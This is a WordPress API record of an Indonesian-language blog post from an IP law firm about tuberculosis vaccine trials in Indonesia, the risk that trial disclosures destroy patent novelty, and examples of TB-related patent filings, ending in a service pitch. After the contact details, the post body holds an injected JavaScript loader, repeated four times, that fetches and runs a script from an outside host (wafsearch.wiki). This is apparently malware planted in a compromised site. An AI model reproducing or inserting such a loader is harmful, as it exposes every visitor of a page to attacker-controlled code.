{"id":5891,"date":"2025-10-31T05:03:18","date_gmt":"2025-10-31T05:03:18","guid":{"rendered":"https:\/\/affa.co.id\/?p=5891"},"modified":"2025-10-31T05:03:18","modified_gmt":"2025-10-31T05:03:18","slug":"gelombang-baru-rd-tbc-di-indonesia-industri-harus-waspada-paten-obat-akan-memanas","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/10\/31\/gelombang-baru-rd-tbc-di-indonesia-industri-harus-waspada-paten-obat-akan-memanas\/","title":{"rendered":"Gelombang Baru R&amp;D TBC di Indonesia: Industri Harus Waspada, Paten Obat Akan Memanas!"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Di awal tahun 2025, nama Indonesia kembali mencuri perhatian dunia ketika terlibat dalam upaya global melawan penyakit menular kuno, tuberkulosis (TBC). Kerja sama pemerintah Indonesia dengan <\/span><b>Bill &amp; Melinda Gates Foundation<\/b><span style=\"font-weight: 400\"> menjadi sorotan setelah dikabarkan bahwa Indonesia dipilih sebagai salah satu lokasi uji klinis fase akhir vaksin TBC.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sorotan ini menghadirkan paradoks menarik. Indonesia selama ini termasuk negara dengan beban kasus TBC tertinggi di dunia, namun kini justru beralih menjadi salah satu kandidat terdepan dalam inovasi medis. Bagaimana hal ini bisa tercapai?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Indonesia: Dari Pasar, Menjadi Pemain Inovasi<\/b><\/p>\n<p><span style=\"font-weight: 400\">Kolaborasi dengan Gates Foundation membuka peluang besar bagi lahirnya invensi baru terkait TBC\u2014mulai dari zat aktif, formulasi obat atau vaksin, metode pembuatan, hingga solusi diagnostik. Paten berperan penting dalam:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memperkuat hak eksklusif,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mendukung pengembangan dan produksi,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memfasilitasi komersialisasi inovasi.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Industri farmasi dan biotek Indonesia karenanya tak bisa hanya menyaksikan. Momentum ini harus dimanfaatkan untuk terlibat aktif dalam riset dan pendaftaran Paten, baik melalui kolaborasi lokal maupun global.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tahap Uji Klinis: Apa yang Sedang Berjalan di Indonesia?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Pengembangan vaksin memiliki tahapan baku yang ketat:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pra-klinis<\/span> <span style=\"font-weight: 400\">: pengujian awal pada hewan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fase I<\/span> <span style=\"font-weight: 400\">: 3\u201380 relawan sehat, menentukan dosis aman<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fase II<\/span> <span style=\"font-weight: 400\">: 20\u2013200 relawan, menguji efikasi awal &amp; respons imun<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fase III<\/span> <span style=\"font-weight: 400\">: ratusan\u2013ribuan peserta, memastikan efektivitas &amp; keamanan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fase IV<\/span> <span style=\"font-weight: 400\">: pemantauan efek jangka panjang pascapemasaran<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Menurut rilis Kemenkes (Mei 2025), kandidat vaksin <\/span><b>TBC M72\/AS01_E<\/b><span style=\"font-weight: 400\"> kini memasuki fase III, melibatkan 2.095 partisipan Indonesia sebagai bagian dari studi global.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Gates Foundation sendiri tercatat telah menyalurkan lebih dari <\/span><b>US$300 juta<\/b><span style=\"font-weight: 400\"> ke Indonesia sejak 2009 untuk mendukung program kesehatan, nutrisi, sanitasi, dan sistem vaksinasi\u2014termasuk riset vaksin TBC.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dengan posisi ini, Indonesia bukan sekadar tempat penelitian, tetapi bagian dari ekosistem inovasi global.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Terbuka = Tidak Baru? Risiko \u201cDisclosure\u201d terhadap \u201cNovelty\u201d<\/b><\/p>\n<p><span style=\"font-weight: 400\">Partisipasi dalam uji klinis fase lanjut membawa konsekuensi ilmiah sekaligus hukum. Pada fase III dan IV, terdapat kewajiban transparansi, seperti:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Registrasi uji klinis, dan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pengumuman rencana dan hasil penelitian.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Namun, transparansi ini dapat menjadi pisau bermata dua. <\/span><b>Barcombe et al. (2024) <\/b><span style=\"font-weight: 400\">menyoroti bahwa di Eropa dan Amerika Serikat, keterbukaan berlebihan dapat mengancam novelty atau unsur kebaruan yang\u00a0 menjadi syarat utama Paten.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Mengapa? Karena berbagai bentuk publikasi, termasuk:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Protokol uji,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Lembar persetujuan peserta (ICF),<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Press release,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Registrasi studi,<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">dapat dianggap sebagai <\/span><i><span style=\"font-weight: 400\">prior art <\/span><\/i><span style=\"font-weight: 400\">bila memuat informasi teknis yang memungkinkan <\/span><i><span style=\"font-weight: 400\">(enabling)<\/span><\/i><span style=\"font-weight: 400\"> pihak lain mempraktikkannya.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Bila informasi seperti komposisi vaksin atau dosis terungkap terlalu dini, hal tersebut bahkan dapat dikategorikan sebagai <\/span><i><span style=\"font-weight: 400\">public prior use<\/span><\/i><span style=\"font-weight: 400\">, sehingga menggugurkan kebaruan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Payung Regulasi Ada\u2014Tapi Belum Cukup<\/b><\/p>\n<p><span style=\"font-weight: 400\">Pelaksanaan uji klinis di Indonesia diatur melalui:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">BPOM No. 8\/2024 (Uji Klinis)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">BPOM No. 24\/2025 (Obat dan Obat Pengembangan Baru)<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Keduanya mengadopsi prinsip <\/span><b>ICH\u2013GCP<\/b><b><i> (International Council for Harmonisation \u2013 Good Clinical Practice)<\/i><\/b><span style=\"font-weight: 400\"> dan <\/span><b>CUKB (Cara Uji Klinik yang Baik)<\/b><span style=\"font-weight: 400\">, yang menekankan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kerahasiaan data kedua belah pihak,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perlindungan informasi sponsor &amp; subjek uji,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kontrol mutu dan keamanan distribusi.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Mekanisme <\/span><b>Persetujuan Setelah Penjelasan (PSP) <\/b><span style=\"font-weight: 400\">pun tidak mewajibkan sponsor mengungkap formula atau komposisi obat secara rinci kepada peserta.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Namun, perlindungan regulatori saja tidak otomatis menjamin kebaruan Paten. Kebocoran informasi bisa tetap muncul melalui:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Publikasi ilmiah,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Materi rekrutmen,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Entri registri uji yang memuat identitas senyawa \/ regimen dosis,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Subjek uji yang tidak terikat NDA,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pihak ketiga seperti CRO, laboratorium, vendor logistik, atau penyedia IT tanpa klausul kerahasiaan kuat.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Bahkan hal sederhana semisal:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Label kemasan dalam studi open-label,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Certificate of Analysis (CoA),<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Catatan batch-to-subject<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">berpotensi mengungkap informasi teknis sensitif. Dengan demikian, strategi non-regulatori untuk menjaga kerahasiaan dan kebaruan Paten menjadi sangat krusial.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Landskap Paten TBC di Indonesia: Dinamis &amp; Berkembang<\/b><\/p>\n<p><span style=\"font-weight: 400\">Kerja sama internasional telah memicu \u201cefek domino\u201d berupa meningkatnya pendaftaran Paten terkait TBC di Indonesia. Data DJKI menunjukkan beberapa kategori utama invensi yang mulai bermunculan:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Bahan Baku (Active Compound)<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Contoh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">IDP000065523: senyawa quabodepistat dengan aktivitas antibakteri kuat untuk Mycobacterium tuberculosis<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">IDP000028943: turunan kuinolin; perlindungan berakhir 2025 yang membuka peluang generik &amp; formulasi baru<br \/>\n<\/span>Ini menunjukkan bahwa Indonesia bukan lagi sekadar pasar, melainkan tempat pengujian dan adaptasi molekul global.<\/li>\n<\/ul>\n<\/li>\n<li><b>Formulasi &amp; Komposisi<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Contoh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">IDP000058680: formulasi vaksin berbasis Mycobacterium dilemahkan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">P00202402878: platform vaksin berbasis protein fusi &amp; asam nukleat<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">P00202314496: komposisi implan tulang untuk komplikasi post-TBC<br \/>\n<\/span>Inovasi bergerak tidak hanya pada penemuan molekul, tetapi juga pada optimalisasi bentuk dan platform terapinya.<\/li>\n<\/ul>\n<\/li>\n<li><b>Metode &amp; Proses Pembuatan<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Beberapa invensi melindungi teknik sintesis &amp; produksi yang memberikan efisiensi dan stabilitas, memberikan perlindungan tambahan atas teknologi manufaktur.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Diagnosis<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Contoh:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">IDP000067942: KIT liposomal untuk mendeteksi Mycolic acid sebagai biomarker utama M. tuberculosis<br \/>\n<\/span>Riset diagnostik ini membuka jalan menuju terapi presisi.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Kapan Harus Daftar Paten?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Karena <\/span><i><span style=\"font-weight: 400\">disclosure <\/span><\/i><span style=\"font-weight: 400\">dapat mengancam <\/span><i><span style=\"font-weight: 400\">novelty<\/span><\/i><span style=\"font-weight: 400\">, waktu terbaik untuk mengamankan Paten adalah sebelum informasi teknis terungkap ke publik.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Juga perlu diingat bahwa:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pendaftaran Paten tidak mensyaratkan izin edar BPOM.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Data pra-klinis sering kali sudah cukup untuk mendukung permohonan.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Dengan kata lain, fase pra-klinis adalah waktu emas untuk mengajukan Paten!<\/span><\/p>\n<p><span style=\"font-weight: 400\">Menunda hingga hasil penelitian dipublikasikan dapat memperbesar risiko gugurnya kebaruan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Strategi yang Dibutuhkan Industri &amp; Peneliti<\/b><\/p>\n<p><span style=\"font-weight: 400\">Dengan berkembangnya riset dan pendaftaran Paten terkait TBC, pelaku industri dan peneliti perlu menyeimbangkan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Inovasi ilmiah,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Manajemen disclosure,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Strategi perlindungan hukum.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Tanpa strategi yang tepat, penemuan yang berharga dapat kehilangan nilai patennya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dari Eksperimen Menjadi Investasi<\/b><\/p>\n<p><span style=\"font-weight: 400\">Indonesia kini berada di persimpangan penting. Dari negara dengan beban TBC tertinggi, Indonesia berkembang menjadi pusat riset dan inovasi vaksin serta terapi TBC. Untuk memaksimalkan peluang ini, industri lokal harus aktif mengamankan hasil risetnya melalui strategi Paten yang cerdas dan terukur.<\/span><\/p>\n<p><span style=\"font-weight: 400\">AFFA siap menjadi mitra strategis untuk:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memetakan jalur Paten,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Merancang analisis freedom-to-operate (FTO),<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menjaga kebaruan invensi,<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mencegah tumpang tindih hak Paten.<\/span><\/li>\n<\/ul>\n<p><i><span style=\"font-weight: 400\">\u201cInovasi tanpa strategi hanya eksperimen \u2014 tetapi inovasi dengan perlindungan, adalah investasi.\u201d<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><b>Untuk informasi lebih lanjut terkait pendaftaran dan perlindungan Paten di Indonesia, hubungi kami melalui kanal berikut ini:\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400\">? E-Mail : <\/span><a href=\"mailto:patent@affa.co.id\"><span style=\"font-weight: 400\">patent@affa.co.id<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><\/a><span style=\"font-weight: 400\">? Book a Call : +62 21 83793812<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">? WhatsApp : +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Di awal tahun 2025, nama Indonesia kembali mencuri perhatian dunia ketika terlibat dalam upaya global melawan penyakit menular kuno, tuberkulosis (TBC). Kerja sama pemerintah Indonesia dengan Bill &amp; Melinda Gates Foundation menjadi sorotan setelah dikabarkan bahwa Indonesia dipilih sebagai salah satu lokasi uji klinis fase akhir vaksin TBC. &nbsp; Sorotan ini menghadirkan paradoks menarik. Indonesia selama ini termasuk negara dengan beban kasus TBC tertinggi di dunia, namun kini justru beralih menjadi salah satu kandidat terdepan dalam inovasi medis. Bagaimana hal ini bisa tercapai? &nbsp; Indonesia: Dari Pasar, Menjadi Pemain Inovasi Kolaborasi dengan Gates Foundation membuka peluang besar bagi lahirnya invensi baru terkait TBC\u2014mulai dari zat aktif, formulasi obat atau vaksin, metode pembuatan, hingga solusi diagnostik. Paten berperan penting dalam: Memperkuat hak eksklusif, Mendukung pengembangan dan produksi, Memfasilitasi komersialisasi inovasi. Industri farmasi dan biotek Indonesia karenanya tak bisa hanya menyaksikan. Momentum ini harus dimanfaatkan untuk terlibat aktif dalam riset dan pendaftaran Paten, baik melalui kolaborasi lokal maupun global. &nbsp; Tahap Uji Klinis: Apa yang Sedang Berjalan di Indonesia? Pengembangan vaksin memiliki tahapan baku yang ketat: Pra-klinis : pengujian awal pada hewan Fase I : 3\u201380 relawan sehat, menentukan dosis aman Fase II : 20\u2013200 relawan, menguji efikasi awal &amp; respons imun Fase III : ratusan\u2013ribuan peserta, memastikan efektivitas &amp; keamanan Fase IV : pemantauan efek jangka panjang pascapemasaran Menurut rilis Kemenkes (Mei 2025), kandidat vaksin TBC M72\/AS01_E kini memasuki fase III, melibatkan 2.095 partisipan Indonesia sebagai bagian dari studi global. &nbsp; Gates Foundation sendiri tercatat telah menyalurkan lebih dari US$300 juta ke Indonesia sejak 2009 untuk mendukung program kesehatan, nutrisi, sanitasi, dan sistem vaksinasi\u2014termasuk riset vaksin TBC. Dengan posisi ini, Indonesia bukan sekadar tempat penelitian, tetapi bagian dari ekosistem inovasi global. &nbsp; Terbuka = Tidak Baru? Risiko \u201cDisclosure\u201d terhadap \u201cNovelty\u201d Partisipasi dalam uji klinis fase lanjut membawa konsekuensi ilmiah sekaligus hukum. Pada fase III dan IV, terdapat kewajiban transparansi, seperti: Registrasi uji klinis, dan Pengumuman rencana dan hasil penelitian. Namun, transparansi ini dapat menjadi pisau bermata dua. Barcombe et al. (2024) menyoroti bahwa di Eropa dan Amerika Serikat, keterbukaan berlebihan dapat mengancam novelty atau unsur kebaruan yang\u00a0 menjadi syarat utama Paten. Mengapa? Karena berbagai bentuk publikasi, termasuk: Protokol uji, Lembar persetujuan peserta (ICF), Press release, Registrasi studi, dapat dianggap sebagai prior art bila memuat informasi teknis yang memungkinkan (enabling) pihak lain mempraktikkannya. Bila informasi seperti komposisi vaksin atau dosis terungkap terlalu dini, hal tersebut bahkan dapat dikategorikan sebagai public prior use, sehingga menggugurkan kebaruan. &nbsp; Payung Regulasi Ada\u2014Tapi Belum Cukup Pelaksanaan uji klinis di Indonesia diatur melalui: BPOM No. 8\/2024 (Uji Klinis) BPOM No. 24\/2025 (Obat dan Obat Pengembangan Baru) &nbsp; Keduanya mengadopsi prinsip ICH\u2013GCP (International Council for Harmonisation \u2013 Good Clinical Practice) dan CUKB (Cara Uji Klinik yang Baik), yang menekankan: Kerahasiaan data kedua belah pihak, Perlindungan informasi sponsor &amp; subjek uji, Kontrol mutu dan keamanan distribusi. Mekanisme Persetujuan Setelah Penjelasan (PSP) pun tidak mewajibkan sponsor mengungkap formula atau komposisi obat secara rinci kepada peserta. Namun, perlindungan regulatori saja tidak otomatis menjamin kebaruan Paten. Kebocoran informasi bisa tetap muncul melalui: Publikasi ilmiah, Materi rekrutmen, Entri registri uji yang memuat identitas senyawa \/ regimen dosis, Subjek uji yang tidak terikat NDA, Pihak ketiga seperti CRO, laboratorium, vendor logistik, atau penyedia IT tanpa klausul kerahasiaan kuat. Bahkan hal sederhana semisal: Label kemasan dalam studi open-label, Certificate of Analysis (CoA), Catatan batch-to-subject berpotensi mengungkap informasi teknis sensitif. Dengan demikian, strategi non-regulatori untuk menjaga kerahasiaan dan kebaruan Paten menjadi sangat krusial. &nbsp; Landskap Paten TBC di Indonesia: Dinamis &amp; Berkembang Kerja sama internasional telah memicu \u201cefek domino\u201d berupa meningkatnya pendaftaran Paten terkait TBC di Indonesia. Data DJKI menunjukkan beberapa kategori utama invensi yang mulai bermunculan: Bahan Baku (Active Compound) Contoh: IDP000065523: senyawa quabodepistat dengan aktivitas antibakteri kuat untuk Mycobacterium tuberculosis IDP000028943: turunan kuinolin; perlindungan berakhir 2025 yang membuka peluang generik &amp; formulasi baru Ini menunjukkan bahwa Indonesia bukan lagi sekadar pasar, melainkan tempat pengujian dan adaptasi molekul global. Formulasi &amp; Komposisi Contoh: IDP000058680: formulasi vaksin berbasis Mycobacterium dilemahkan P00202402878: platform vaksin berbasis protein fusi &amp; asam nukleat P00202314496: komposisi implan tulang untuk komplikasi post-TBC Inovasi bergerak tidak hanya pada penemuan molekul, tetapi juga pada optimalisasi bentuk dan platform terapinya. Metode &amp; Proses Pembuatan Beberapa invensi melindungi teknik sintesis &amp; produksi yang memberikan efisiensi dan stabilitas, memberikan perlindungan tambahan atas teknologi manufaktur. Diagnosis Contoh:\u00a0 IDP000067942: KIT liposomal untuk mendeteksi Mycolic acid sebagai biomarker utama M. tuberculosis Riset diagnostik ini membuka jalan menuju terapi presisi. &nbsp; Kapan Harus Daftar Paten? Karena disclosure dapat mengancam novelty, waktu terbaik untuk mengamankan Paten adalah sebelum informasi teknis terungkap ke publik. Juga perlu diingat bahwa:\u00a0 Pendaftaran Paten tidak mensyaratkan izin edar BPOM. Data pra-klinis sering kali sudah cukup untuk mendukung permohonan. Dengan kata lain, fase pra-klinis adalah waktu emas untuk mengajukan Paten! Menunda hingga hasil penelitian dipublikasikan dapat memperbesar risiko gugurnya kebaruan. &nbsp; Strategi yang Dibutuhkan Industri &amp; Peneliti Dengan berkembangnya riset dan pendaftaran Paten terkait TBC, pelaku industri dan peneliti perlu menyeimbangkan: Inovasi ilmiah, Manajemen disclosure, Strategi perlindungan hukum. Tanpa strategi yang tepat, penemuan yang berharga dapat kehilangan nilai patennya. &nbsp; Dari Eksperimen Menjadi Investasi Indonesia kini berada di persimpangan penting. Dari negara dengan beban TBC tertinggi, Indonesia berkembang menjadi pusat riset dan inovasi vaksin serta terapi TBC. Untuk memaksimalkan peluang ini, industri lokal harus aktif mengamankan hasil risetnya melalui strategi Paten yang cerdas dan terukur. AFFA siap menjadi mitra strategis untuk: Memetakan jalur Paten, Merancang analisis freedom-to-operate (FTO), Menjaga kebaruan invensi, Mencegah tumpang tindih hak Paten. \u201cInovasi tanpa strategi hanya eksperimen \u2014 tetapi inovasi dengan perlindungan, adalah investasi.\u201d &nbsp; Untuk informasi lebih lanjut terkait pendaftaran dan perlindungan Paten di Indonesia, hubungi kami melalui kanal berikut ini:\u00a0 ? E-Mail : patent@affa.co.id ? Book a Call : +62 21 83793812 ? WhatsApp : +62 812 87000 889var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url<\/p>\n","protected":false},"author":1,"featured_media":5892,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,356],"tags":[309,310,314,317,321,325,339,624,625,305,306,307,308],"class_list":["post-5891","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-patent","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-indonesia","tag-patent","tag-paten","tag-vaccine","tag-vaksin","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5891","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5891"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5891\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5892"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5891"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5891"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5891"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}